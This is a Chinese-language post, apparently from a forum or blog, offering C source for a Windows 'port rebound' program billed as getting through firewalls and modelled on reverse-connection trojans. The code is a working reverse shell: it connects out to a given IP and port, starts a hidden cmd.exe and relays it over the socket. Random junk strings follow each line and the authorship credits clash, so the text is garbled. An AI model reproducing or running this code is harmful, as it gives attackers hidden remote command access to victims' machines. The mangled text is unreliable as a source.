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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a!OS2Tz:  
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/* ============================== 5X8GR5P  
Rebound port in Windows NT Io8h 8N-  
By wind,2006/7 d#Hl3]wT  
===============================*/ kX0hRX  
#include p_ H;|m9  
#include 6.uyY@Yx  
? zFeP6C  
#pragma comment(lib,"wsock32.lib") ! };OL Q  
@jXdQY%{  
void OutputShell(); jY: )W*TXt  
SOCKET sClient; 6p;G~,bd~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dCbRlW  
|Z ), OW  
void main(int argc,char **argv) |:yWDZg[  
{ ;"d>lyL  
WSADATA stWsaData; O7]p `Xi8  
int nRet; |@Cx%aEKU  
SOCKADDR_IN stSaiClient,stSaiServer; zk#NM"C+  
~ 9 F rlj  
if(argc != 3) 2h_XfY'3pX  
{ g>L4N.ZH_v  
printf("Useage:\n\rRebound DestIP DestPort\n"); YU*u!  
return; QL_vWG -  
} xEULV4Qw  
@/(\YzQvp]  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?p&CR[  
n\X'2  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >h!>Ll  
+JDQ`Qk  
stSaiClient.sin_family = AF_INET; X`,=tM  
stSaiClient.sin_port = htons(0); r4X0. mPY*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *y6zwe !M  
2 %`~DVo  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q:}Q5gzZ  
{ F_<n8U:Y  
printf("Bind Socket Failed!\n"); df85g  
return; 8[PD`*w  
} [ 2WJ];FJ  
{~L{FG)O  
stSaiServer.sin_family = AF_INET; ;7;=)/-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +-s$Htx  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [UP-BX(  
]RBT9@-:U  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MXVQ90  
{ pZVT:qFF  
printf("Connect Error!"); ][gr(-68  
return; v--Qbu  
} WNO|ziy  
OutputShell(); 2r zOh},RS  
} vS@;D7ep  
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void OutputShell() *h <_gn  
{ -VC k k  
char szBuff[1024]; -l:4I6-hi  
SECURITY_ATTRIBUTES stSecurityAttributes; e1Ne{zg~  
OSVERSIONINFO stOsversionInfo; rAv)k&l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PUU "k:{  
STARTUPINFO stStartupInfo; FV 0x/)<z  
char *szShell; 9a$\l2  
PROCESS_INFORMATION stProcessInformation; Qru iQ/t  
unsigned long lBytesRead; %>)HAx `  
CXAW>VdK_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nfj8z@!  
ls;!Og9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <~d3L4h*<  
stSecurityAttributes.lpSecurityDescriptor = 0; B IW?/^  
stSecurityAttributes.bInheritHandle = TRUE; y TbOBl  
KxA ^?,t[  
[|5gw3 y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >'/KOK"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o(gEyK  
nq/SGo[c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s%6{X48vY^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zy J-}[z  
stStartupInfo.wShowWindow = SW_HIDE; E"/r*C+T  
stStartupInfo.hStdInput = hReadPipe; dE_d.[!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t.s;dlx[@  
*v}3So  
GetVersionEx(&stOsversionInfo); oe4r_EkYwW  
QEC4!$L^  
switch(stOsversionInfo.dwPlatformId) S;I>W&U  
{ ]Yw/}GKB  
case 1: p;x3gc;0  
szShell = "command.com"; "sD[P3  
break; (#)-IdXXO<  
default: KUE}^/%z  
szShell = "cmd.exe"; \>G:mMk/  
break; \nzaF4+$  
} Gg,&~ jHib  
gP 13n!7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '(6 ^O=  
>V,i7v*?  
send(sClient,szMsg,77,0); SjmWlf,  
while(1) 2[V9`r8*  
{ cns~)j~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5McOSy  
if(lBytesRead) U65a _dakk  
{ ^*$lCUv8p  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E S>iM)M  
send(sClient,szBuff,lBytesRead,0); [YTOrN  
} N!Q~?/!d  
else #}lq2!f6  
{ !vY5X2?tr,  
lBytesRead=recv(sClient,szBuff,1024,0); `Lr I^9Z  
if(lBytesRead<=0) break; myvn@OsEw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 32S5Ai@Cd"  
} &*\-4)Tf  
} o3ZqPk]al  
e.>>al  
return; Py! F  
}
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